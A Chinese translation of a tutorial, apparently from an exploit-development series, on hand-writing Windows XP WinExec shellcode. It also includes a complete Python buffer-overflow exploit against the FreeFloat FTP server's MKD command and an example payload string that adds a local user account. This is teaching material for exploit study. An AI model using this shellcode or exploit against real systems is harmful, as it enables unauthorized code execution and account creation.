- 第一部分: Introduction to Exploit Development
- 第二部分:Saved Return Pointer Overflows
- 第三部分:Structured Exception Handler (SEH)
- 第四部分:Egg Hunters
- 第五部分:Unicode 0x00410041
- 第六部分:WIN32 shellcode 编写
- 第七部分:返回导向编程(ROP)
- 第八部分:堆喷射第一节【覆写 EIP】
- 第九部分:堆喷射[第二章:UAF]
- 第十部分:内核利用程序之栈溢出
- 第十一部分:内核利用程序之任意位置任意写
- 第十二部分:内核利用程序之空指针引用
- 第十三部分:内核利用程序之未初始化栈变量
- 第十四部分:内核利用程序之整数溢出
- 第十五部分:内核利用程序之 UAF
- 第十六部分:内核利用程序之池溢出
- 第十七部分:内核利用程序之任意位置任意写
- 第十八篇:内核利用程序之 RS2 Bitmap 巫术
- 第十九篇:内核利用程序之 Razer
WinExec
写 WinExec 的 shellcode 之前,我们需要了解这个函数,它的参数. 你可以查阅 MSDN 得到相关信息。
WinExec:MSDN
仔细看看这个函数的信息, WinExec 结构很简单,包含三个参数(实际上是两个参数):
Structure: Parameters: UINT WINAPI WinExec( => 指向 kernel32.dll 的 WinExec 指针 __in LPCSTR lpCmdLine, => ASCII 字符串”calc.exe” __in UINT uCmdShow => 0x00000001 (SW_SHOWNORMAL) );
让我们看下第一个参数. 第一个参数是指向 WinExec 的指针, arwin 可以帮助我们在没有 aslr 的 WINXP 找到这个指针. 在调试机器用终端打开 arwin, 执行下面的命令:
arwin.exe kernel32.dll WinExec
接下来就是如何把 ASCII 字符串(在这个例子就是我们想要执行的命令) 写入堆栈. 第一次做可能会有点困惑,实际上并不难. 最好的理解方式是通过一个例子:
ASCII Text: ASCII Text: calc.exe abcdefghijkl Split Text into groups of 4 characters: Split Text into groups of 4 characters: "calc" "abcd" ".exe" "efgh" "ijkl" Reverse the order of the character groups: Reverse the order of the character groups: ".exe" "ijkl" "calc" "efgh" "abcd" Look on google for a ASCII to hex converter Look on google for a ASCII to hex converter and convert each character while maintaining and convert each character while maintaining the order: the order: "\x2E\x65\x78\x65" "\x69\x6A\x6B\x6C" "\x63\x61\x6C\x63" "\x65\x66\x67\x68" "\x61\x62\x63\x64" To write these values to the stack simply add To write these values to the stack simply add "\x68" infront of each group: "\x68" infront of each group: "\x68\x2E\x65\x78\x65" => PUSH ".exe" "\x68\x69\x6A\x6B\x6C" => PUSH "ijkl" "\x68\x63\x61\x6C\x63" => PUSH "calc" "\x68\x65\x66\x67\x68" => PUSH "efgh" "\x68\x61\x62\x63\x64" => PUSH "abcd"
这看来非常直截了当,你可能注意到了我们的 ASCII 字符串是 4 字节对齐. 如果不是 4 字节对齐会怎么样呢? 有相当多的办法处理这个问题,我建议你读 corelanc0d3r 写的这篇文章. 通过扩展的阅读你能学到更多知识. 我会介绍其中一项技术,看下面
ASCII Text: net user b33f 1234 /add Split Text into groups of 4 characters: "net " "user" " b33" "f 12" "34 /" "add"
可以看到 add 没有 4 字节对齐,非常简单,在它后面增加一个空格字符就可以了
"add " => "\x68\x61\x64\x64\x20" => PUSH "add " "34 /" => "\x68\x33\x34\x20\x2F" => PUSH "34 /" "f 12" => "\x68\x66\x20\x31\x32" => PUSH "f 12" " b33" => "\x68\x20\x62\x33\x33" => PUSH " b33" "user" => "\x68\x75\x73\x65\x72" => PUSH "user" "net " => "\x68\x6E\x65\x74\x20" => PUSH "net "
最后我们需要 push 1 到堆栈,这是 WinExec 的 uCmdShow 参数. 如果你不知道机器指令对应的机器码,在调试里面打上 push 1 就可以看到了。
uCmdShow 需要设置为 0x00000001 这有很多方式可以做到,发挥你的想象力.我们这样做:
PUSH 1 => "\x6A\x01" (ASCII "1" = "\x31")
(*) 另外一种思路,这样也可以
xor eax,eax (eax 清 0) inc eax (eax 加 1) push eax (把 eax 的值压栈)
综合
我们把这三个参数按照 MSDN 说明的顺序放到堆栈. 我两点需要注意:(1) 由于栈是往地地址增长,所以我们把最后一个参数先压栈 (2) lpCmdLine 是我们要执行的命令字符串,但 WinExec 需要的参数是指向命令字符串的指针。
下面这么做是错的:
"\x68\x2E\x65\x78\x65" => PUSH ".exe" \ Push The ASCII string to the stack "\x68\x63\x61\x6C\x63" => PUSH "calc" / "\x8B\xC4" => MOV EAX,ESP | Put a pointer to the ASCII string in EAX "\x6A\x01" => PUSH 1 | Push uCmdShow parameter to the stack "\x50" => PUSH EAX | Push the pointer to lpCmdLine to the stack "\xBB\xED\x2A\x86\x7C" => MOV EBX,7C862AED | Move the pointer to WinExec() into EBX "\xFF\xD3" => CALL EBX | Call WinExec()
上面这么做并不能成功. 我们看看执行这些指令会发生什么。
非常接近成功了,但是注意到但 WinExec 使用 lpCmdLine 参数的时候它不知道参数在哪结束. 我们知道 ASCII 字符串是以\x00 结束 的,因此我们要给 lpCmdLine \x00 结束符.如下所示
这才是正确的方式:
We need "calc.exe" + "\x00"'s but we know that null-bytes are badcharacters however we can easily xor a register (which will then contain 4 null-bytes) and push it to the stack just before we push “calc.exe”. "\x33\xc0" => XOR EAX,EAX | Zero out EAX register "\x50" => PUSH EAX | Push EAX to have null-byte padding for "calc.exe" "\x68\x2E\x65\x78\x65" => PUSH ".exe" \ Push The ASCII string to the stack "\x68\x63\x61\x6C\x63" => PUSH "calc" / "\x8B\xC4" => MOV EAX,ESP | Put a pointer to the ASCII string in EAX "\x6A\x01" => PUSH 1 | Push uCmdShow parameter to the stack "\x50" => PUSH EAX | Push the pointer to lpCmdLine to the stack "\xBB\xED\x2A\x86\x7C" => MOV EBX,7C862AED | Move the pointer to WinExec() into EBX "\xFF\xD3" => CALL EBX | Call WinExec()
这应该足够了! 从下图可以看到参数布局是正确的. 执行这个代码将会弹出一个计算器。
#!/usr/bin/python #----------------------------------------------------------------------------------# # Exploit: FreeFloat FTP (MKD BOF) # # OS: WinXP PRO SP3 # # Author: b33f (Ruben Boonen) # # Software: http://www.freefloat.com/software/freefloatftpserver.zip # #----------------------------------------------------------------------------------# import socket import sys #----------------------------------------------------------------------------------# # (*) WinExec # # (*) arwin.exe => Kernel32.dll - WinExec 0x7C862AED # # (*) MSDN Structure: # # # # UINT WINAPI WinExec( => PTR to WinExec # # __in LPCSTR lpCmdLine, => calc.exe # # __in UINT uCmdShow => 0x1 # # ); # # # # Final Size => 26-bytes (metasploit version size => 227-bytes) # #----------------------------------------------------------------------------------# WinExec = ( "\x33\xc0" # XOR EAX,EAX "\x50" # PUSH EAX => padding for lpCmdLine "\x68\x2E\x65\x78\x65" # PUSH ".exe" "\x68\x63\x61\x6C\x63" # PUSH "calc" "\x8B\xC4" # MOV EAX,ESP "\x6A\x01" # PUSH 1 "\x50" # PUSH EAX "\xBB\xED\x2A\x86\x7C" # MOV EBX,kernel32.WinExec "\xFF\xD3") # CALL EBX #----------------------------------------------------------------------------------# # Badchars: \x00\x0A\x0D # # 0x77c35459 : push esp # ret | msvcrt.dll # # shellcode at ESP => space 749-bytes # #----------------------------------------------------------------------------------# buffer = "\x90"*20 + WinExec evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer)) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.111.128',21)) s.recv(1024) s.send('USER anonymous\r\n') s.recv(1024) s.send('PASS anonymous\r\n') s.recv(1024) s.send('MKD ' + evil + '\r\n') s.recv(1024) s.send('QUIT\r\n') s.close
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论